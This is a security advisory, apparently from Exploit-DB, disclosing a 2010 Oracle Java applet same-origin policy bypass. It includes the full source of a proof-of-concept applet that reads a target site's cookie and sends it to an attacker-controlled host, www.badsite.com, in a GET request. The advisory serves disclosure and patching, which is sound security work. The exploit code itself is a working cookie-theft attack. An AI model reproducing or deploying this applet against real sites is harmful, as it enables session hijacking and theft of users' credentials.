Oracle JRE - java.net.URLConnection class Same-of-Origin 'SOP' Policy Bypass

EDB-ID:

15288


Platform:

Windows

Published:

2010-10-20

Description

Security-Assessment.com discovered that a Java Applet making use of java.net.URLConnection class can be used to bypass same-of-origin (SOP) policy and domain based security controls in modern browsers when communication occurs between two domains that resolve to the same IP address. This advisory includes a Proof-of-Concept (PoC) demo and Java Applet source code. This demonstrates how the security vulnerability can be exploited to leak cookie information to an unauthorised domain, which resides on the same host IP address.

Exploitation

The Flash movie demo can be viewed at the following link:
http://www.security-assessment.com/files/advisories/java_net_urlconnection_sop_bypass_demo.swf

The Proof of Concept (PoC) demonstrates that a Cross Site Request Forgery (XSRF) attack can be leveraged by using a Java Applet which implements the java.net.URLConnection class. Traditionally, XSRF is used to force a user to perform an unwanted action on a target web site. In this case, the PoC shows that XSRF can be used to capture sensitive information such as a cookie related to a target web site.

The following assumptions are made in this PoC:

1. The virtual hosts www.targetsite.net and www.badsite.com resolve to the same IP address;
2. A malicious user controls www.badsite.com web site;
3. A malicious user targets www.targetsite.net users.

The following table summarises the sequence of actions shown in demo:
1 User has a valid cookie for www.targetsite.net
2 The same user visits www.badsite.com which performs a cross site forged
  request to www.targetsite.net . The forged request is performed by a Java
  Applet embedded on the malicious site. The Java Applet bypasses the Same-of-
  Origin policy (SOP) as an unsigned Java Applet should not be able to communica
  from www.badsite.com to www.targetsite.net without a crossdomain.xml
  policy file.
3 Java Applet performs first GET request to www.targetsite.net. At this stage, th
  Java Applet already controls the Cookie: header sent to www.targetsite.net
  through the getRequestProperty("cookie") method. This is in breach with SOP.
4 A second request is done for the purpose of the demo which leaks
  www.targetsite.net cookie’s to www.badsite.com via an HTTP GET request.


Testing was successfully performed using Java(TM) SE Runtime Environment (build 1.6.0_21-b07) and the following browsers (all Windows XP):

Mozilla Firefox 3.5.8
Opera 10.60
Internet Explorer 6.0.2900.5512
Google Chrome 5.0.375.9
Internet Explorer 8.0.6001.18702
Safari 5.0 (7533.16)

MaliciousJavaApplet.java:

import java.awt.*;
import java.io.*;
import java.net.*;
public class MaliciousJavaApplet extends java.applet.Applet {
    TextArea messageLog = new TextArea(4, 40);
    public void init() {
      setLayout(new BorderLayout());
      add("Center", messageLog);
    }
    public void start() {
      try {
                             URL url = new URL("http://www.targetsite.net/default.html");
                             URLConnection connection;
                             String inputLine;
                             BufferedReader inReader;
          connection = url.openConnection();
                             connection.setAllowUserInteraction(false);
                             connection.setDoOutput(true);
                             messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
                             messageLog.append("File read from URL " + url + ":\n");
          inReader = new BufferedReader(
                   new InputStreamReader(connection.getInputStream()));
          while (null != (inputLine = inReader.readLine())) {
             messageLog.append(inputLine + "\n");
          }
          inReader.close();
                             messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
                             String cookie;
                             cookie = connection.getRequestProperty("cookie");
                             URL url2 = new
URL("http://www.badsite.com/default.html?cookie="+cookie);
                             URLConnection connection2;
                             String inputLine2;
                             BufferedReader inReader2;
          connection2 = url2.openConnection();
                             connection2.setAllowUserInteraction(false);
                             connection2.setDoOutput(true);
                             inReader2 = new BufferedReader(
                   new InputStreamReader(connection2.getInputStream()));
          while (null != (inputLine2 = inReader2.readLine())) {
             messageLog.append(inputLine2 + "\n");
          }
          inReader2.close();
      }
      catch (IOException e) {
          System.err.println("Exception: " + e);
  }
}
}


Solution

Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - October 2010. Security-Assessment.com recommends all users of JRE and JDK to upgrade to the latest version as soon as possible. For more information on the new release of JRE/JDK please refer to the release notes:
http://www.oracle.com/technetwork/java/javase/downloads/index.html

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